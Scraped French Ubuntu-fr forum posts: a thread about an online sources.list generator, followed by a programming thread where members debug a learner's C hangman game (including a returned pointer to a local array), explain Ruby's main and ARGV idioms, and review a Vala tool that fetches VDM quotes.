Re : Un 'autre' générateur de sources.list en ligne
Bonjour les amis!!!
J'ai télécharger ubuntu sur le même site qui a une taille de 695 Mo en image et je n'arrive pas a le gravé ni de l'installer en utilisant un cd virtuel.
Alors ou je peu trouve le bon pour télécharger ?
Merci
Hors ligne
noruas
Re : Un 'autre' générateur de sources.list en ligne
@Isaric
Je ne comprend pas bien tes demandes, je suis également sous 10.10 64bits et tous les logiciels que tu cites sont disponibles chez moi, certains faisant partie intégrante de l'installation de base d'Ubuntu (Brasero, Empathy par exemple....)
Hors ligne
Isaric
Re : Un 'autre' générateur de sources.list en ligne
En général c'est les dernières versions, que l'on trouve rarement pas dans les dépôts.
Dernière modification par Isaric (Le 28/11/2010, à 18:52)
"Être bahá'í signifie simplement aimer la terre toute entière, aimer l'humanité et essayer de la servir, travailler pour la paix universelle et la famille humaine" 'Abdul'l-Bahá
"Vouloir s'ouvrir aux autres n'est pas une preuve de faiblesse, c'est une preuve d'intelligence" Matthieu Ricard.
ma config
Hors ligne
noruas
Re : Un 'autre' générateur de sources.list en ligne
Très bonne remarque, même s'il est vrai que je n'utilise les ppa que lorsqu'un soft me pose problèmes ou n'est pas stable sur ma machine.
D'ailleurs, ne serait-il pas judicieux de rajouter un onglet dans le générateur pour les dépots ppa les plus couramment demandés/utilisés ?
Ainsi nous garderions un onglet des logiciels additionnels (non installés par défaut dans la distribution) et un autre avec les dépôts ppa pour bénéficier d'une version plus récente et "en général" moins buggée d'une appli...
PS: j'aime bien ton blog "feuille de route" et astuces ^^
Dernière modification par noruas (Le 28/11/2010, à 19:11)
Hors ligne
blattes86
Re : Un 'autre' générateur de sources.list en ligne
Bonjour @ tous.
Je viens pour lancer un appel a Azema McPeter. Je vous explique, pour mon boulot ( je travaille dans une association prônant le logiciel libre ) je vais avoir besoin de créer une grosse documentation afin d'aider les personnes voulant reproduire notre association.
Utilisant le logiciel apt-mirror , je comptais créer une générateur permettant d'afficher aussi bien un sources.list qu'un mirror.list afin d'éviter aux personnes de ce prendre autant la tête que moi.
Néanmoins, n'aimant pas réinventé la roue et étant aussi un peu fainéant, j'aurais voulu savoir si un projet tel que celui-ci pouvait vous intéresser ou au pire si votre code source était disponible dans un coin perdu du net.
En espérant, une réponse favorable de votre part.
Dernière modification par blattes86 (Le 13/01/2011, à 16:21)
Hors ligne |
Shanx
Re : /* Topic des codeurs [8] */
Gnagnagna...
J'ai corrigé l'indentation, par contre pour découper le main je vais attendre que le programme fonctionne...
/**** PENDU ****/
#include<stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <ctype.h>
#define TAILLE_MAX 50
void clean_stdin(void);
int main(void){
int i; /* compteur */
int j=0; /* Compteur de coups faux */
int k; /* compteur qui s'incrémente si la lettre proposée est dans le mot */
int l; /* compteur qui vérifie si on est au premier tour ou non */
char mot[TAILLE_MAX]="";
char caractereLu;
int numMotChoisi, nombreMots;
nombreMots = 0;
FILE* fichier = NULL;
fichier = fopen("mots.txt", "r");
/* On vérifie que le fichier existe */
if (fichier == NULL){
printf("Impossible d'ouvrir le fichier mots.txt");
return 0;
}
// On compte le nombre de mots dans le fichier (il suffit de compter les entrées \n
while((caractereLu=fgetc(fichier)) != EOF){
if (caractereLu == '\n'){
nombreMots++;
}
}
printf("Le num de mot est %d\n", nombreMots);
srand(time(NULL));
numMotChoisi = (rand() % nombreMots); /* On choisit une ligne aléatoirement */
printf("Le num choisi est %d\n", numMotChoisi);
/* On prend le mot choisi */
rewind(fichier);
while (numMotChoisi > 0){
caractereLu = fgetc(fichier);
if (caractereLu == '\n')
numMotChoisi--;
}
fgets(mot, TAILLE_MAX, fichier);
printf("%s", mot);
fclose(fichier);
mot[strlen(mot) - 1] = '\0';
int longueurMot = strlen(mot);
char t[longueurMot]; /* tableau des lettres à deviner */
char lettre; /* lettre entrée par l'user */
int z=0; /* z != 0 quand l'user trouve le bon mot */
char lettresTestees[26]; /*ensemble des lettres déjà testées */
/* On remplace les lettres par des _ */
for(i=0 ; i < longueurMot ; i++){
t[i] = '_';
}
while (z != longueurMot){
/* Affichage du mot à trouver avec le cas échéant les lettres déjà trouvées */
puts("Le mot à deviner est : ");
for(i=0 ; i < longueurMot ; i++){
printf("%c ", t[i]);
}
puts("\n");
/* Affichage des lettres déjà testées */
if (l!=0){
puts("Les lettres déjà testées sont : ");
for(i=0 ; i < j ; i++){
printf("%c ", lettresTestees[i]);
}
}
puts("\n");
while(!islower(lettre)){
puts("Quelle lettre proposes-tu ?");
lettre=getchar();
}
lettresTestees[l]=lettre; /* On entre la lettre dans le tableau des lettres testées */
clean_stdin();
for(i=0 ; i < longueurMot ; i++){
if(lettre == mot[i]){ /* Si la lettre est présente dans le mot */
t[i] = lettre; /* On remplace les _ correspondants par la lettre */
k++;
}
else{
j++; /* Sinon on incrémente le compteur de coups faux */
}
}
l++; /* l devient différent de 0 car ce n'est plus le premier tour */
if (k==0){
puts("Dommage !\n"); /* si la lettre n'était pas dans le mot */
}
for (i=0; i<longueurMot ; i++) { /* On vérifie qu'on a pas trouvé le mot entier */
if (t[i] == mot[i])
z++;
else {
z = 0;
}
}
}
puts("Bravo !");
return 0;
}
void clean_stdin(void){
int c;
do {
c = getchar();
} while (c != '\n' && c != EOF);
}
J'ai quelques problème : là quelque soit la lettre que je rentre, il considère que j'ai rentré la même lettre qu'au premier tour. Genre si je rentre f, ensuite quoique je rentre il prendra f. Pour corriger ça il faut que j'utilise clean_stdin, mais alors le comportement devient complètement erratique...
Ensuite la partie d'affichage des caractères déjà testés déconne joliment aussi...
$ ./pendu
Le num de mot est 3
Le num choisi est 2
lievre
Le mot à deviner est :
_ _ _ _ _ _
Quelle lettre proposes-tu ?
f
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
f
e
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
f f ~
z
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
f f f ~
z
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
f f f f ~
f
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
f f f f f ~ @
j
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
f f f f f f ~ @ l i e v
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
f f f f f f f ~ @ l i e v r e
Oui, la réponse apparaît toute seule si on appuie plusieurs fois sur entrée...
Dernière modification par Shanx (Le 18/11/2012, à 13:19)
Hors ligne
Pylades
Re : /* Topic des codeurs [8] */
Gnagnagna...
Je sais que c’est frustrant, mais si tu n’es pas rigoureux dès le départ, je ne vois pas quand tu le deviendras…
J'ai corrigé l'indentation, par contre pour découper le main je vais attendre que le programme fonctionne...
Voilà typiquement le genre de phrases qui font peur…
“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
Linus Torvalds – 12 janvier 2003
Hors ligne
Shanx
Re : /* Topic des codeurs [8] */
Shanx a écrit :
Gnagnagna...
Je sais que c’est frustrant, mais si tu n’es pas rigoureux dès le départ, je ne vois pas quand tu le deviendras…
Shanx a écrit :
J'ai corrigé l'indentation, par contre pour découper le main je vais attendre que le programme fonctionne...
Voilà typiquement le genre de phrases qui font peur…
J'ai édité mon post.
Moi ça me parait logique d'optimiser après que ça marche, non ? Parce que sinon ce serait s'éparpiller, étant donné que pour séparer le main y'a quelques trucs que je ne sais pas faire... (Genre faire une fonction qui a un fichier déjà ouvert en argument).
Hors ligne
tshirtman
Re : /* Topic des codeurs [8] */
Oui, découper est souvent le moyen le plus rapide de s'en sortir, et que ça fonctionne, justement.
Hors ligne
Pylades
Re : /* Topic des codeurs [8] */
Moi ça me parait logique d'optimiser après que ça marche, non ?
Mais ce n’est pas de l’optimisation, c’est de la clarté de base !
C’est comme pour ton buffer overflow, ce n’était pas de l’optimisation, mais de la sécurité de base.
(Genre faire une fonction qui a un fichier déjà ouvert en argument).
Où est le problème ?
“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
Linus Torvalds – 12 janvier 2003
Hors ligne
The Uploader
Re : /* Topic des codeurs [8] */
Quand on parle d'optimisation, c'est optimiser les performances (usage I/O, mémoire, CPU). Le reste ça ne s'appelle pas de l'optimisation, mais être propre et rigoureux.
Passer de Ubuntu 10.04 à Xubuntu 12.04 LTS
Archlinux + KDE sur ASUS N56VV.
ALSA, SysV, DBus, Xorg = Windows 98 !
systemd, kdbus, ALSA + PulseAudio, Wayland = modern OS (10 years after Windows, but still...) ! Deal with it !
Hors ligne
Shanx
Re : /* Topic des codeurs [8] */
Nouveau code, qui ne fonctionne toujours pas :
/**** PENDU ****/
#include<stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <ctype.h>
#define TAILLE_MAX 50
void clean_stdin(void);
char* choixMot(FILE* fichier);
int main(void){
int i; /* compteur */
int j=0; /* Compteur de coups faux */
int k; /* compteur qui s'incrémente si la lettre proposée est dans le mot */
int l; /* compteur qui vérifie si on est au premier tour ou non */
char* mot;
FILE* fichier = NULL;
fichier = fopen("mots.txt", "r");
/* On vérifie que le fichier existe */
if (fichier == NULL){
printf("Impossible d'ouvrir le fichier mots.txt");
return 0;
}
mot=choixMot(fichier);
int longueurMot = strlen(mot);
char t[longueurMot]; /* tableau des lettres à deviner */
char lettre; /* lettre entrée par l'user */
int z=0; /* z != 0 quand l'user trouve le bon mot */
char lettresTestees[26]; /*ensemble des lettres déjà testées */
/* On remplace les lettres par des _ */
for(i=0 ; i < longueurMot ; i++){
t[i] = '_';
}
while (z != longueurMot){
/* Affichage du mot à trouver avec le cas échéant les lettres déjà trouvées */
puts("Le mot à deviner est : ");
for(i=0 ; i < longueurMot ; i++){
printf("%c ", t[i]);
}
puts("\n");
/* Affichage des lettres déjà testées */
if (l!=0){
puts("Les lettres déjà testées sont : ");
for(i=0 ; i < j ; i++){
printf("%c ", lettresTestees[i]);
}
}
puts("\n");
while(!islower(lettre)){
puts("Quelle lettre proposes-tu ?");
lettre=getchar();
}
lettresTestees[l]=lettre; /* On entre la lettre dans le tableau des lettres testées */
clean_stdin();
for(i=0 ; i < longueurMot ; i++){
if(lettre == mot[i]){ /* Si la lettre est présente dans le mot */
t[i] = lettre; /* On remplace les _ correspondants par la lettre */
k++;
}
else{
j++; /* Sinon on incrémente le compteur de coups faux */
}
}
l++; /* l devient différent de 0 car ce n'est plus le premier tour */
if (k==0){
puts("Dommage !\n"); /* si la lettre n'était pas dans le mot */
}
for (i=0; i<longueurMot ; i++) { /* On vérifie qu'on a pas trouvé le mot entier */
if (t[i] == mot[i])
z++;
else {
z = 0;
}
}
}
puts("Bravo !");
return 0;
}
void clean_stdin(void){
int c;
do {
c = getchar();
} while (c != '\n' && c != EOF);
}
char* choixMot(FILE* fichier){
char mot[TAILLE_MAX]="";
char caractereLu;
int numMotChoisi, nombreMots;
nombreMots = 0;
// On compte le nombre de mots dans le fichier (il suffit de compter les entrées \n
while((caractereLu=fgetc(fichier)) != EOF){
if (caractereLu == '\n'){
nombreMots++;
}
}
printf("Le num de mot est %d\n", nombreMots);
srand(time(NULL));
numMotChoisi = (rand() % nombreMots); /* On choisit une ligne aléatoirement */
printf("Le num choisi est %d\n", numMotChoisi);
/* On prend le mot choisi */
rewind(fichier);
while (numMotChoisi > 0){
caractereLu = fgetc(fichier);
if (caractereLu == '\n')
numMotChoisi--;
}
fgets(mot, TAILLE_MAX, fichier);
printf("%s", mot);
fclose(fichier);
mot[strlen(mot) - 1] = '\0';
return mot;
}
Déjà j'ai une erreur à la compilation :
pendu.c: In function ‘choixMot’:
pendu.c:131:5: warning: function returns address of local variable [enabled by default]
Ensuite ça se comporte très bizarrement...
$ ./pendu
Le num de mot est 3
Le num choisi est 1
maison
Le mot à deviner est :
_ _ _ _ _ _
Quelle lettre proposes-tu ?
r
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r K n
m
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r n W V
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r W V
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r W V
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r W V J n
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r W V J n P J n
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r W V J n P J n
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r W V J n P J n
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r W V J n P J n
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r V J n P J n J n
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r J n P J n J n
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r J n P J n J n L
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r J n P J n J n L
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r r J n P J n J n L r
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r r r J n P J n J n L r Z
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r r r r J n P J n J n L r ` \
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r r r r r J n P J n J n L r f \ K n
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r r r r r r J n P J n J n L r l \ K n
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r r r r r r r J n P J n J n L r r \ K n
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r r r r r r r r J n P J n J n L r x \ K n
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r r r r r r r r r J n P J n J n L r ~ \ K n =
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r r r r r r r r r r J n P J n J n L r \ K n =
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r r r r r r r r r r r J n P J n J n L r \ K n = K
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r r r r r r r r r r r r J n P J n J n L r \ K n = K n
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r r r r r r r r r r r r r J n P J n J n L r \ K n = K n
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r r r r r r r r r r r r r r n P J n J n L r \ K n = K n @
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r r r r r r r r r r r r r r r P J n J n L r \ K n = K n @
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r r r r r r r r r r r r r r r r P J n J n L r \ K n = K n @
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r r r r r r r r r r r r r r r r r P J n J n L r \ K n = K n @ W u !
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r r r r r r r r r r r r r r r r r r P J n J n L r @ K n = K n @ W u ! c
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r r r r r r r r r r r r r r r r r r r P J n J n L r @ K = K n @ W u ! c
Dommage !
Le mot à deviner est :
_ _ _ _ _ _
Les lettres déjà testées sont :
r r r r r r r r r r r r r r r r r r r r r r r r r r r r r r r r P J n J n L r @ K n = K n @ W u ! c
Dommage !
Le mot à deviner est :
r r r r r r
Les lettres déjà testées sont :
r r r r r r r r r r r r r r r r r r r r r r r r r r r r r r r r r J n J n L r ! @ K n = K n @ W u ! c
Dommage !
zsh: segmentation fault ./pendu
Hors ligne
nathéo
Re : /* Topic des codeurs [8] */
Salut o/
Dites est-ce qu'il y en a ici qui savent comment avoir un équivalent du main() en ruby ?
C'est rarement par le sarcasme qu'on élève son âme.Le jus de la vigne clarifie l'esprit et l'entendement.
De quoi souffres-tu ? De l'irréel intact dans le réel dévasté ?
N'oubliez pas d'ajouter un [RESOLU] si votre problème est réglé.ᥟathé൭о
Hors ligne
grim7reaper
Re : /* Topic des codeurs [8] */
Un peu comme en Python :
if __FILE__ == $PROGRAM_NAME
# Put "main" code here
end
Ou
if __FILE__ == $0
# Put "main" code here
end
Déjà j'ai une erreur à la compilation :
pendu.c: In function ‘choixMot’:
pendu.c:131:5: warning: function returns address of local variable [enabled by default]
Normal. Tout est dans le message.mot est déclaré dans choixMot, c’est une variable locale. Elle cesse d’exister à la sortie de la fonction, et toi tu renvoies son adresse (les tableaux, pour des raisons de performances, sont toujours passé par adresse, pas par valeur). Donc tu renvoies l’adresse d’un truc inexistant, et tu l’utilises donc forcément ça va mal se passer (d’où ton comportement bizarre).
Tu as trois solutions :
- déclarer mot en static, très moche ici. On va éviter hein :]
- allocation dynamique de mot.
- passer mot en argument (comme il est passé par adresse, il sera bien modifé).
Dernière modification par grim7reaper (Le 18/11/2012, à 14:25)
Hors ligne
nathéo
Re : /* Topic des codeurs [8] */
Merci grim, mais du coup les instruction sont placés avant le end, non ?
C'est rarement par le sarcasme qu'on élève son âme.Le jus de la vigne clarifie l'esprit et l'entendement.
De quoi souffres-tu ? De l'irréel intact dans le réel dévasté ?
N'oubliez pas d'ajouter un [RESOLU] si votre problème est réglé.ᥟathé൭о
Hors ligne
tshirtman
Re : /* Topic des codeurs [8] */
ça semble évident oui…
Hors ligne
:!pakman
Re : /* Topic des codeurs [8] */
...
Hors ligne
nathéo
Re : /* Topic des codeurs [8] */
Parfois suivre la logique peut jouer un mauvais tour...
Dernière modification par nathéo (Le 18/11/2012, à 15:23)
C'est rarement par le sarcasme qu'on élève son âme.Le jus de la vigne clarifie l'esprit et l'entendement.
De quoi souffres-tu ? De l'irréel intact dans le réel dévasté ?
N'oubliez pas d'ajouter un [RESOLU] si votre problème est réglé.ᥟathé൭о
Hors ligne
xapantu
Re : /* Topic des codeurs [8] */
xapantu a écrit :afilmore a écrit :
Il y a parfois quelques bugs dans les bindings, toujours quelques warnings pendant la compilation du code C mais ça c'est rien par rapport aux messages de "déprécation" des mecs de GTK+.
Boarf, ça se discute, une fois que tu as quelques dizaines de milliers de lignes de code, il y a quand même pas mal de warning
Pas si tu codes proprement…
Tu peux en avoir quelques uns ouais, si ta ligne de compil’ est super stricte, mais sinon c’est que tu codes de manière un peu à l’arrache.
Je parlais du code en C généré par valac, pas de code directement en C, hein (à moins que toi aussi ?)
Hors ligne
Rolinh
Re : /* Topic des codeurs [8] */
Parfois suivre la logique peut jouer un mauvais tour...
Ça ne concerne même pas la logique là, juste le bon sens. C'est comme si tu demandais si tu devais mettre le contenu de tes fonctions C après la paire d'accolades...
Blog
"If you put a Unix shell to your ear, do you hear the C ?"
Hors ligne
grim7reaper
Re : /* Topic des codeurs [8] */
grim7reaper a écrit :xapantu a écrit :
Boarf, ça se discute, une fois que tu as quelques dizaines de milliers de lignes de code, il y a quand même pas mal de warning
Pas si tu codes proprement…
Tu peux en avoir quelques uns ouais, si ta ligne de compil’ est super stricte, mais sinon c’est que tu codes de manière un peu à l’arrache.
Je parlais du code en C généré par valac, pas de code directement en C, hein (à moins que toi aussi ?)
Non j’étais à côté de la plaque, j’ai répondu un peu vite ^^
Hors ligne
The Uploader
Re : /* Topic des codeurs [8] */
Merci grim, mais du coup les instruction sont placés avant le end, non ?
Juste ce qu'il faut pour lancer le bordel est dans le if qui sert de "bootstrap", ça t'empêche pas d'être propre.
(just sayin')
Passer de Ubuntu 10.04 à Xubuntu 12.04 LTS
Archlinux + KDE sur ASUS N56VV.
ALSA, SysV, DBus, Xorg = Windows 98 !
systemd, kdbus, ALSA + PulseAudio, Wayland = modern OS (10 years after Windows, but still...) ! Deal with it !
Hors ligne
nathéo
Re : /* Topic des codeurs [8] */
Au du coup pour remplacer argc/argv on fait comment exactement ? (mes recherches sur le net ne m'aident pas beaucoup )
C'est rarement par le sarcasme qu'on élève son âme.Le jus de la vigne clarifie l'esprit et l'entendement.
De quoi souffres-tu ? De l'irréel intact dans le réel dévasté ?
N'oubliez pas d'ajouter un [RESOLU] si votre problème est réglé.ᥟathé൭о
Hors ligne
afilmore
Re : /* Topic des codeurs [8] */
Le défi actuel est toujours :bah voui, faut croire que les défis sont secondaires :-P
grim7reaper a écrit :
Je propose la mise au point d’une bibliothèque ou d’un module ou truc du genre (faut que le code soit réutilisable ailleurs quoi) qui propose des fonctions pour récupérer des quotes sur Internet.
Vous êtes libre de choisir les sites que vous voulez gérez dans votre code (VDM, DTC, PEBKAC, etc.), au niveau de leur nombre (gestion d’un seul site ou de plusieurs) aussi et au niveau des options offertes (par exemple, pour VDM vous pouvez soit toujours tirer une quote aléatoire soit offrir la possibilité de choisir sa catégorie).
Le seul truc que je fixe c’est le format de sortie : vos fonctions doivent fournir au final juste la quote en texte simple.
Comme ça, c’est plus souple pour la réutilisation ou la combinaison avec d’autres trucs (pour donner des trucs comme ça par exemple).
Défi relevé
git clone git://github.com/afilmore/vdm-get.git
cd vdm-get
sudo apt-get install libglib2.0-dev libxml2-dev
./autogen.sh && ./configure --prefix=/usr && make
./src/vdm-get
Il faut autoconf, automake, vala et surement d'autres trucs que j'ai oublié de préciser.
Le programme récupère une page sur VDM, enregistre le contenu dans /tmp/vdm.html,
et récupère un post aléatoire qui sera sauvegardé au format texte dans $HOME/vdm.txt
Voili.
Hors ligne
The Uploader
Re : /* Topic des codeurs [8] */
Au du coup pour remplacer argc/argv on fait comment exactement ? (mes recherches sur le net ne m'aident pas beaucoup )
ARGV
Any command-line arguments after the program filename are available to your Ruby program in the global array ARGV. For instance, invoking Ruby as
% ruby -w ptest "Hello World" a1 1.6180
yields an ARGV array containing ["Hello World", a1, 1.6180]. There's a gotcha here for all you C programmers---ARGV[0] is the first argument to the program, not the program name. The name of the current program is available in the global variable $0.
Dernière modification par The Uploader (Le 18/11/2012, à 18:56)
Passer de Ubuntu 10.04 à Xubuntu 12.04 LTS
Archlinux + KDE sur ASUS N56VV.
ALSA, SysV, DBus, Xorg = Windows 98 !
systemd, kdbus, ALSA + PulseAudio, Wayland = modern OS (10 years after Windows, but still...) ! Deal with it !
Hors ligne
grim7reaper
Re : /* Topic des codeurs [8] */
Au du coup pour remplacer argc/argv on fait comment exactement ? (mes recherches sur le net ne m'aident pas beaucoup )
Toi, soit tu cherches pas vraiment, soit il faut vraiment que tu apprennes à utiliser un moteur de recherche -___-"
Comme en Perl (sans les sigil), avec le tableau ARGV.
Édit : grilled, de peu, mais grilled.
@afilmore : je vais jeter un œil
Ça serait mieux qu’il affiche sur stdout plutôt que d’écrire dans un fichier (si on veut vraiment un fichier, suffit de faire une redirection).
Édit : hum
/tmp/vdm.html:161: element div: validity error : ID ad_leaderboard already defined
<div id="ad_leaderboard"><div class="leaderboard"><script type="text/javascript"
^
/tmp/vdm.html:219: HTML parser error : htmlParseEntityRef: expecting ';'
w.amazon.fr/LAgenda-VDM-2012-2013-Didier-Guedj/dp/2350761231/?_encoding=UTF8&tag
^
/tmp/vdm.html:219: HTML parser error : htmlParseEntityRef: expecting ';'
M-2012-2013-Didier-Guedj/dp/2350761231/?_encoding=UTF8&tag=viedemerd-21&linkCode
^
/tmp/vdm.html:219: HTML parser error : htmlParseEntityRef: expecting ';'
013-Didier-Guedj/dp/2350761231/?_encoding=UTF8&tag=viedemerd-21&linkCode=ur2&qid
^
/tmp/vdm.html:219: HTML parser error : htmlParseEntityRef: expecting ';'
/dp/2350761231/?_encoding=UTF8&tag=viedemerd-21&linkCode=ur2&qid=1338913477&camp
^
/tmp/vdm.html:219: HTML parser error : htmlParseEntityRef: expecting ';'
761231/?_encoding=UTF8&tag=viedemerd-21&linkCode=ur2&qid=1338913477&camp=1642&sr
^
/tmp/vdm.html:219: HTML parser error : htmlParseEntityRef: expecting ';'
ding=UTF8&tag=viedemerd-21&linkCode=ur2&qid=1338913477&camp=1642&sr=8-2&creative
^
/tmp/vdm.html:221: HTML parser error : htmlParseEntityRef: expecting ';'
w.amazon.fr/LAgenda-VDM-2012-2013-Didier-Guedj/dp/2350761231/?_encoding=UTF8&tag
^
/tmp/vdm.html:221: HTML parser error : htmlParseEntityRef: expecting ';'
M-2012-2013-Didier-Guedj/dp/2350761231/?_encoding=UTF8&tag=viedemerd-21&linkCode
^
/tmp/vdm.html:221: HTML parser error : htmlParseEntityRef: expecting ';'
013-Didier-Guedj/dp/2350761231/?_encoding=UTF8&tag=viedemerd-21&linkCode=ur2&qid
^
/tmp/vdm.html:221: HTML parser error : htmlParseEntityRef: expecting ';'
/dp/2350761231/?_encoding=UTF8&tag=viedemerd-21&linkCode=ur2&qid=1338913477&camp
^
/tmp/vdm.html:221: HTML parser error : htmlParseEntityRef: expecting ';'
761231/?_encoding=UTF8&tag=viedemerd-21&linkCode=ur2&qid=1338913477&camp=1642&sr
^
/tmp/vdm.html:221: HTML parser error : htmlParseEntityRef: expecting ';'
ding=UTF8&tag=viedemerd-21&linkCode=ur2&qid=1338913477&camp=1642&sr=8-2&creative
^
/tmp/vdm.html:225: HTML parser error : htmlParseEntityRef: expecting ';'
http://www.amazon.fr/Vie-merde-Tome-En-bagnole/dp/287442773X/?_encoding=UTF8&tag
^
/tmp/vdm.html:225: HTML parser error : htmlParseEntityRef: expecting ';'
ie-merde-Tome-En-bagnole/dp/287442773X/?_encoding=UTF8&tag=viedemerd-21&linkCode
^
/tmp/vdm.html:225: HTML parser error : htmlParseEntityRef: expecting ';'
-Tome-En-bagnole/dp/287442773X/?_encoding=UTF8&tag=viedemerd-21&linkCode=ur2&qid
^
/tmp/vdm.html:225: HTML parser error : htmlParseEntityRef: expecting ';'
/dp/287442773X/?_encoding=UTF8&tag=viedemerd-21&linkCode=ur2&qid=1338971760&camp
^
/tmp/vdm.html:225: HTML parser error : htmlParseEntityRef: expecting ';'
42773X/?_encoding=UTF8&tag=viedemerd-21&linkCode=ur2&qid=1338971760&camp=1642&sr
^
/tmp/vdm.html:225: HTML parser error : htmlParseEntityRef: expecting ';'
TF8&tag=viedemerd-21&linkCode=ur2&qid=1338971760&camp=1642&sr=8-1-spell&creative
^
/tmp/vdm.html:226: HTML parser error : htmlParseEntityRef: expecting ';'
http://www.amazon.fr/Vie-merde-Tome-En-bagnole/dp/287442773X/?_encoding=UTF8&tag
^
/tmp/vdm.html:226: HTML parser error : htmlParseEntityRef: expecting ';'
ie-merde-Tome-En-bagnole/dp/287442773X/?_encoding=UTF8&tag=viedemerd-21&linkCode
^
/tmp/vdm.html:226: HTML parser error : htmlParseEntityRef: expecting ';'
-Tome-En-bagnole/dp/287442773X/?_encoding=UTF8&tag=viedemerd-21&linkCode=ur2&qid
^
/tmp/vdm.html:226: HTML parser error : htmlParseEntityRef: expecting ';'
/dp/287442773X/?_encoding=UTF8&tag=viedemerd-21&linkCode=ur2&qid=1338971760&camp
^
/tmp/vdm.html:226: HTML parser error : htmlParseEntityRef: expecting ';'
42773X/?_encoding=UTF8&tag=viedemerd-21&linkCode=ur2&qid=1338971760&camp=1642&sr
^
/tmp/vdm.html:226: HTML parser error : htmlParseEntityRef: expecting ';'
TF8&tag=viedemerd-21&linkCode=ur2&qid=1338971760&camp=1642&sr=8-1-spell&creative
^
/tmp/vdm.html:245: element div: validity error : ID wrapper already defined
<div id="wrapper">
^
Dernière modification par grim7reaper (Le 18/11/2012, à 19:05)
Hors ligne
afilmore
Re : /* Topic des codeurs [8] */
Oui, en plus des warnings de vala, on a le droit aux warnings de libxml2.
On peut pas spécifier d'options avec parse_file :
http://unstable.valadoc.org/#!api=libxm … parse_file
Sinon, il faut utiliser read_doc :
http://unstable.valadoc.org/#!api=libxm … c.read_doc
Avec comme options, NOERROR, NOWARNING :
http://unstable.valadoc.org/#!api=libxm … rserOption
Mais dans ce cas, on doit lire le fichier avant dans un buffer :
read_doc (string cur, string url, string? encoding = null, int options = 0)
"cur" doit être un buffer, pas le nom du fichier html comme avec parse_file.
Voila ce que ça donne :
https://github.com/afilmore/vdm-get/com … c69f695201
Pour une raison étrange j'ai des caractères non reconnus dans le terminal, alors que dans le fichier $HOME/vdm.txt les caractères accentués posent pas de problèmes.
Et une solution vite fait mal fait pour afficher le résultat dans un terminal sans problème de caractères accentués :
https://github.com/afilmore/vdm-get/com … 0542b3367d
Aujourd'hui, comme depuis toujours, je ne suis pas très doué pour tout ce qui touche à l'informatique. C'est mon ex-copine qui a dû m'expliquer comment mettre mon profil Facebook en "célibataire". VDM
Excellant
Dernière modification par afilmore (Le 18/11/2012, à 22:29)
Hors ligne
nathéo
